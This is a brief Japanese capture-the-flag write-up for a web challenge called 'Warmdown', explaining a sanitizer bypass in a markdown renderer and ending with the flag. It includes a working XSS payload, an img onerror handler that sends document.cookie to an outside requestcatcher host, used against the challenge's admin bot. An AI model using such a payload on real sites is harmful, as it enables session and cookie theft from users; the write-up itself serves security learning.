web/Warmdown

マークダウンをレンダリングできる。

sanitize -> marked -> escapeHtml -> unescapeHtml

markedでリンクがaタグに変換されてしまうので分割する

unescapeされるものをescapeしとくとbypassできXSS可能

code:txt

<img src=x onerror="location.href='htt'+'ps://dh.requestcatcher.com/e?'+document.cookie">

admin botに次のURLを通報する

code:url

フラグ獲得

IERAE{I_know_XSS_is_the_m0st_popular_vu1nerabili7y}